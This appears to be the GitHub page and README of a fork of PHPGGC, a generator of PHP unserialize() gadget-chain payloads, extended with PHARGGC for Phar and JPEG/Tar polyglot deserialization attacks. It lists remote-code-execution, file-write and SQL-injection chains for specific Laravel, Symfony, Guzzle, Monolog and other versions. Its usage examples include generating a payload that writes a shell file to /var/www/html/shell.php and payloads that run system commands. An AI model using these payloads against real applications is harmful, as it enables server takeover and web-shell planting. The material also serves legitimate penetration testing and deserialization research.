Skip to content
No description, website, or topics provided.
Branch: master
Clone or download
Pull request Compare This branch is 5 commits ahead, 114 commits behind ambionics:master.
Latest commit fadccee Aug 20, 2018
Type Name Latest commit message Commit time
Failed to load latest commit information.
gadgetchains Removed the reference in Monolog payloads. It can be annoying in some… May 4, 2018
lib Add files via upload Aug 9, 2018
templates Update Aug 10, 2018
pharggc Add files via upload Aug 20, 2018
phpggc Use /usr/bin/env to resolve php Sep 1, 2017


This is a temporary branch of PHPGGC, which includes PHARGGC a secondary tool which can be used to encapusalte PHPGGC's payloads in a Phar archive. This can then be used to exploit a variety of exploit scenarios where we can cause a target application to access the archive through the "phar://" stream wrapper. More details on the attack are available in the whitepaper and slides from Black Hat USA 2018.

PHPGGC: PHP Generic Gadget Chains

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports: Doctrine, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii and ZendFramework.


PHP >= 5.6 is required to run PHPGGC.


Run ./phpggc -l to obtain a list of gadget chains:

$ ./phpggc -l

Gadget Chains

NAME                  VERSION           TYPE             VECTOR         I    
Doctrine/FW1          ?                 file_write       __toString     *    
Guzzle/FW1            6.0.0 <= 6.3.2    file_write       __destruct          
Guzzle/RCE1           6.0.0 <= 6.3.2    rce              __destruct          
Laravel/RCE1          5.4.27            rce              __destruct          
Laravel/RCE2          5.5.39            rce              __destruct          
Laravel/RCE3          5.5.39            rce              __destruct     *    
Laravel/RCE4          5.5.39            rce              __destruct          
Magento/SQLI1         ? <=      sql_injection    __destruct          
Monolog/RCE1          1.18 <= 1.23      rce              __destruct          
Monolog/RCE2          1.5 <= 1.17       rce              __destruct          
Phalcon/RCE1          <= 1.2.2          rce              __wakeup       *    
Slim/RCE1             3.8.1             rce              __toString          
SwiftMailer/FW1       5.1.0 <= 5.4.8    file_write       __toString          
SwiftMailer/FW2       6.0.0 <= 6.0.1    file_write       __toString          
SwiftMailer/FW3       5.0.1             file_write       __toString          
Symfony/FW1           2.5.2             file_write       DebugImport    *    
Symfony/RCE1          3.3               rce              __destruct     *    
Symfony/RCE2          2.3.42 < 2.6      rce              __destruct     *    
Symfony/RCE3          2.6 <= 2.8.32     rce              __destruct     *    
Yii/RCE1              1.1.19            rce              __destruct          
ZendFramework/RCE1    ? <= 1.12.20      rce              __destruct     *  

Every gadget chain has:

  • Name: Name of the framework/library
  • Version: Version of the framework/library for which gadgets are for
  • Type: Type of exploitation: RCE, File Write, File Read, Include...
  • Vector: the vector to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Informations: Other informations about the chain

Use -i to get detailed information about a chain:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <code>

Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload. For instance, to obtain a payload for Monolog, you'd do:

$ ./phpggc monolog/rce1 'phpinfo();'

For a file write using SwiftMailer, you'd do:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data

Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64. Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable.

The -w option allows you to define a PHP file containing a wrapper($chain) function. This will be called after the chain is built, but before the serialize(), in order to adjust the payload's shape. For instance, if the vulnerable code looks like this:

$data = unserialize($_GET['data']);
print $data['message'];

You could use a __toString() chain, wrapping it like so:

# /tmp/my_wrapper.php

function wrapper($chain)
    return array(
        'message' => $chain

And you'd call phpggc like so:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 'phpinfo();'


PHARGGC can operate in two different modes. In the first mode output a Phar archive in the base format with the content of a specified file prepended to the stub, for example:

$ ./pharggc -p prefix.file -o output.file Guzzle/RCE1 'uname -a'

In the second mode it will produce a JPEG/Tar polyglot Phar archive:

$ ./pharggc -j input.jpg -o output.jpg Guzzle/RCE1 'ls -l'


Pull requests are more than welcome. Please follow these simple guidelines:

  • Error-free payloads are prefered, as some websites exit abruptly even with E_NOTICE errors
  • __destruct() is always the best vector
  • Specify at least the version of the library you've built the payload on
  • Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
  • Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.

Codewise, the directory structure is fairly straightforward: gadgets in gadgets.php, description + logic in chain.php. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions.

You can’t perform that action at this time.